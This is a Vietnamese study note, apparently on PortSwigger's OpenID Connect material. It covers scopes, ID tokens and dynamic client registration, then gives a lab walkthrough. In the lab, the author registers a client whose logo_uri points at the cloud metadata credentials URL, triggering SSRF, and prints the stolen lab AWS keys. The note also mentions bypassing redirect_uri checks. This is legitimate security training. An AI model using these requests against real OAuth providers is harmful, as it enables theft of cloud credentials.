Extending OAuth with OpenID Connect
Mở rộng OAuth với OpenID Connect để xác thực.
How Does OpenID Connect Work?
OpenID Connect phù hợp mượt mà vào flow OAuth thông thường. Sự khác biệt chính cho client app là thêm set scope được chuẩn hóa (giống cho tất cả provider) và response type mới: id_token
.
OpenID Connect Roles
Vai trò cho OpenID Connect cơ bản giống với OAuth chuẩn. Sự khác biệt chính là đặc tả sử dụng terminology hơi khác.
- Relying party - Ứng dụng yêu cầu authentication của user. Đồng nghĩa với OAuth client application.
- End user - User đang được authenticated. Đồng nghĩa với OAuth resource owner.
- OpenID provider - OAuth service được cấu hình để hỗ trợ OpenID Connect.
OpenID Connect Claims and Scopes
Trong OpenID Connect, “claims” là cặp key-value đại diện thông tin user, như "family_name":"Montoya"
.
Không giống OAuth, nơi scope thay đổi theo provider, OpenID Connect sử dụng set scope chuẩn. Để sử dụng OpenID Connect, client app phải bao gồm scope openid
trong authorization request. Các scope chuẩn bổ sung bao gồm:
profile
email
address
phone
Mỗi scope cung cấp access đến claim user cụ thể. Ví dụ, scope openid profile
cho access đến claim liên quan đến identity như family_name
, given_name
, và birth_date
.
ID Token
OpenID Connect giới thiệu response type id_token
, trả về signed JSON Web Token (JWT). Token này chứa claim dựa trên scope yêu cầu và chi tiết về khi user được authenticated lần cuối. Client app có thể sử dụng để kiểm tra nếu user được authenticated đúng cách.
Lợi ích chính của id_token
là giảm số request cần thiết, cải thiện performance. Thay vì yêu cầu access token và data user riêng biệt, ID token với data này được gửi ngay sau khi user authenticates.
Không giống OAuth cơ bản, dựa trên kênh trusted, integrity của ID token được bảo mật bởi cryptographic signature, giúp bảo vệ chống một số tấn công man-in-the-middle. Tuy nhiên, vì key cho verification signature được truyền qua cùng kênh (thường trong /well-known/jwks.json
), một số tấn công vẫn có thể.
OAuth hỗ trợ nhiều response type, vậy client có thể yêu cầu cả id_token
và response type OAuth khác như token
hoặc code
trong cùng request. Bằng cách này, cả ID token và access code hoặc token được gửi đến client cùng lúc.
Identifying OpenID Connect
Nếu OpenID Connect được sử dụng bởi client app, bạn có thể dễ dàng kiểm tra bằng cách tìm scope openid
bắt buộc trong authorization request.
Ngay cả nếu login dường như không sử dụng OpenID Connect, bạn có thể test nếu OAuth service hỗ trợ nó. Thử thêm scope openid
hoặc thay đổi response type thành id_token
và xem nếu lỗi xảy ra.
Như với OAuth cơ bản, kiểm tra documentation của OAuth provider để biết thông tin về hỗ trợ OpenID Connect. Bạn cũng có thể xem endpoint chuẩn /.well-known/openid-configuration
cho file configuration.
OpenID Connect Vulnerabilities
Chúng ta sẽ xem một số lỗ hổng bổ sung có thể được introduce bởi một số tính năng extra của OpenID Connect.
Unprotected Dynamic Client Registration
Đặc tả OpenID cung cấp cách chuẩn cho client application đăng ký với OpenID provider. Nếu dynamic client registration được hỗ trợ, client có thể đăng ký chính mình bằng cách gửi request POST đến endpoint /registration
dedicated, thường được liệt kê trong documentation hoặc file configuration của provider.
Trong body request, client submit key detail về chính mình ở định dạng JSON, chẳng hạn list whitelisted redirect URI. Thông tin bổ sung, như endpoint nó muốn expose hoặc tên app, cũng có thể được bao gồm. Request registration điển hình có thể trông như này:
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}
OpenID provider nên yêu cầu client authenticate chính mình, ví dụ, với HTTP bearer token như trên. Tuy nhiên, một số provider có thể cho phép registration mà không authentication, có thể cho phép kẻ tấn công đăng ký client độc hại. Điều này có thể dẫn đến vấn đề tùy thuộc vào cách các property attacker-controlled này được sử dụng.
Ví dụ, một số property trong registration request có thể là URI. Nếu bất kỳ cái nào được access bởi OpenID provider, nó có thể gây second-order SSRF vulnerabilities trừ khi biện pháp bảo mật extra được implement.
Lab: SSRF via OpenID Dynamic Client Registration
Abstract
Lab này cho phép client application dynamically register chính mình với OAuth service qua endpoint registration dedicated. Một số data client-specific được sử dụng theo cách unsafe bởi OAuth service, expose vector potential cho SSRF.
Để giải lab, craft tấn công SSRF để access
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
và steal secret access key cho cloud environment của OAuth provider.
Info
Bạn có thể log in vào account của mình sử dụng credential sau:
wiener:peter
Authorization request cho thấy ứng dụng sử dụng OpenID, như chỉ ra bởi parameter scope
:
GET /auth?client_id=inqmuq2nmb4i0j6hja2n0&redirect_uri=https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
Gửi request đến /.well-known/openid-configuration
:
GET /.well-known/openid-configuration HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
Nhận JSON sau:
{
"authorization_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth",
"claims_parameter_supported": false,
"claims_supported": [
"sub",
"name",
"email",
"email_verified",
"sid",
"auth_time",
"iss"
],
"code_challenge_methods_supported": [
"S256"
],
"end_session_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/session/end",
"grant_types_supported": [
"authorization_code",
"refresh_token"
],
"id_token_signing_alg_values_supported": [
"HS256",
"ES256",
"EdDSA",
"PS256",
"RS256"
],
"issuer": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net",
"jwks_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/jwks",
"registration_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg",
"response_modes_supported": [
"form_post",
"fragment",
"query"
],
"response_types_supported": [
"code"
],
"scopes_supported": [
"openid",
"offline_access",
"profile",
"email"
],
"subject_types_supported": [
"public"
],
"token_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"token_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"token_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token",
"request_object_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"request_parameter_supported": false,
"request_uri_parameter_supported": true,
"require_request_uri_registration": true,
"userinfo_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/me",
"userinfo_signing_alg_values_supported": [
"HS256",
"ES256",
"EdDSA",
"PS256",
"RS256"
],
"introspection_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/introspection",
"introspection_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"introspection_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"revocation_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/revocation",
"revocation_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"revocation_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"claim_types_supported": [
"normal"
]
}
Tìm endpoint registration: /reg
.
Thử đăng ký application:
POST /reg HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256"
}
Response:
HTTP/2 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Sun, 24 Nov 2024 07:16:23 GMT
Keep-Alive: timeout=5
Content-Length: 1045
{
"application_type": "web",
"grant_types": [
"authorization_code"
],
"id_token_signed_response_alg": "RS256",
"post_logout_redirect_uris": [],
"require_auth_time": false,
"response_types": [
"code"
],
"subject_type": "public",
"token_endpoint_auth_method": "client_secret_basic",
"introspection_endpoint_auth_method": "client_secret_basic",
"revocation_endpoint_auth_method": "client_secret_basic",
"require_signed_request_object": false,
"request_uris": [],
"client_id_issued_at": 1732432583,
"client_id": "DvxGLfF47cp60A3jGqFz3",
"client_name": "My Application",
"client_secret_expires_at": 0,
"client_secret": "_LBBQnlMeYVQLNnlM0izYOAso-PzeLwgrKZEd1QON7Wz3Ha05LIvQuMlYTcW1geHe6sNin0reJOkdCNr-jbkOA",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"logo_uri": "https://client-app.com/logo.png",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"registration_client_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg/DvxGLfF47cp60A3jGqFz3",
"registration_access_token": "wxT5rGXyo-M_peDg7V43HOm0-g8kDftGjuvlwwltYFP"
}
Trong lần thử đầu tiên, tôi thay thế tất cả URL bằng URL của Collaborator. Sau đó, tôi gửi authorization request qua browser:
https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth?
client_id=[CLIENT-ID]&
redirect_uri=https://[COLLABORATOR-URL]/callback&
response_type=code&
scope=openid%20profile%20email
Trang consent gửi request đến https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo
để retrieve hình ảnh logo liên quan đến client. Trong quy trình này, Collaborator nhận vài request, xác nhận rằng lỗ hổng Server-Side Request Forgery (SSRF) tồn tại.
Hơn nữa, URL retrieve logo có thể bị thao túng qua parameter logo_uri
trong registration request của client. Bằng cách chỉnh sửa parameter này thành http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
, chúng ta có thể đăng ký application mới với logo URI tùy chỉnh. Khi gửi lại authorization request trong browser, request đến https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo
trả về response JSON sau:
{
"Code" : "Success",
"LastUpdated" : "2024-11-24T07:10:08.520637686Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "SflIxv1Yi163qLUPEi2A",
"SecretAccessKey" : "GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY",
"Token" : "elDTYtU66HFcJQQuJ2KfP0py4GaI3xFkS8pKNJFdeQ1E9OIcy3l5mMloJtqhLUU4BHiqoTvNzaGWae4YrnVyJnUeiu83UNyMXGckHkQoXTodvx9AzIV3DLk1fDZbgl76lmCjkapS0IFawICR4teUWxAWr3IG5H2rJHEsrH93bKig8k0S3QIGU0MOoUwqQAkxCnI4mPrKctK14KIHeq9uvavnvZFtfe6Ngs5lL7KhVdTTyuuXjWs8ZTMNIB16AdPz",
"Expiration" : "2030-11-23T07:10:08.520637686Z"
}
Như chúng ta thấy, secret key là GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY
.
Allowing Authorization Requests by Reference
Cho đến nay, chúng ta đã xem xét submit parameter authorization qua query string. Một số OpenID provider cho phép bạn gửi chúng như JSON Web Token (JWT) thay vì. Nếu được hỗ trợ, bạn có thể sử dụng parameter request_uri
trỏ đến JWT chứa parameter OAuth. Điều này có thể là vector SSRF potential khác, tùy thuộc vào configuration của OAuth service.
Tính năng này cũng có thể cho phép bạn bypass validation của parameter như redirect_uri
, có thể được validate trong query string nhưng không trong JWT.
Để kiểm tra nếu được hỗ trợ, tìm request_uri_parameter_supported
trong documentation hoặc configuration. Hoặc, thử thêm parameter request_uri
để xem nếu hoạt động, vì một số server hỗ trợ nó ngay cả nếu không được đề cập rõ ràng.
Related
list
from outgoing([[Port Swigger - Extending OAuth with OpenID Connect]])
sort file.ctime asc